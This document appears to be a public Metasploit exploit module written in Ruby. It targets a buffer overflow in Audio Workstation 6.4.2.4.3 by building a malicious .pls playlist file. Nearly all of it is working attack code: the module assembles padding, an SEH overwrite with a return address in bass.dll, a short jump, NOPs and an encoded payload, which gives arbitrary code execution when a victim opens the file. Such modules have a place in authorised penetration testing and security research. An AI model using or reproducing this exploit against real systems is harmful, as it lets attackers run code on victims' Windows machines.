Audio Workstation 6.4.2.4.3 pls Buffer Overflow

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require 'msf/core'  
  
class Metasploit3 < Msf::Exploit::Remote  
Rank = GoodRanking  
  
include Msf::Exploit::FILEFORMAT  
include Msf::Exploit::Remote::Seh  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'Audio Workstation 6.4.2.4.3 pls Buffer Overflow',  
'Description' => %q{  
This module exploits a buffer overflow in Audio Workstation 6.4.2.4.3.  
When opening a malicious pls file with the Audio Workstation,  
a remote attacker could overflow a buffer and execute  
arbitrary code.  
},  
'License' => MSF_LICENSE,  
'Author' => [ 'germaya_x', 'dookie', ],  
'Version' => '$Revision: 7724 $',  
'References' =>  
[  
[ 'URL', 'http://www.exploit-db.com/exploits/10353' ],  
],  
'DefaultOptions' =>  
{  
'EXITFUNC' => 'seh',  
},   
'Payload' =>  
{  
'Space' => 4100,  
'BadChars' => "\x00",  
'StackAdjustment' => -3500,  
'EncoderType' => Msf::Encoder::Type::AlphanumUpper,  
'DisableNops' => 'True',  
},  
'Platform' => 'win',  
'Targets' =>  
[  
[ 'Windows Universal', { 'Ret' => 0x1101031E } ], # p/p/r in bass.dll  
],  
'Privileged' => false,  
'DisclosureDate' => 'Dec 08 2009',  
'DefaultTarget' => 0))  
  
register_options(  
[  
OptString.new('FILENAME', [ true, 'The file name.', 'evil.pls']),  
], self.class)  
  
end  
  
def exploit  
  
sploit = rand_text_alpha_upper(1308)  
sploit << "\xeb\x16\x90\x90"  
sploit << [target.ret].pack('V')  
sploit << make_nops(16)  
sploit << payload.encoded  
sploit << rand_text_alpha_upper(4668 - payload.encoded.length)  
  
pls = sploit  
  
print_status("Creating '#{datastore['FILENAME']}' file ...")  
  
file_create(pls)  
  
end  
  
end  
  
`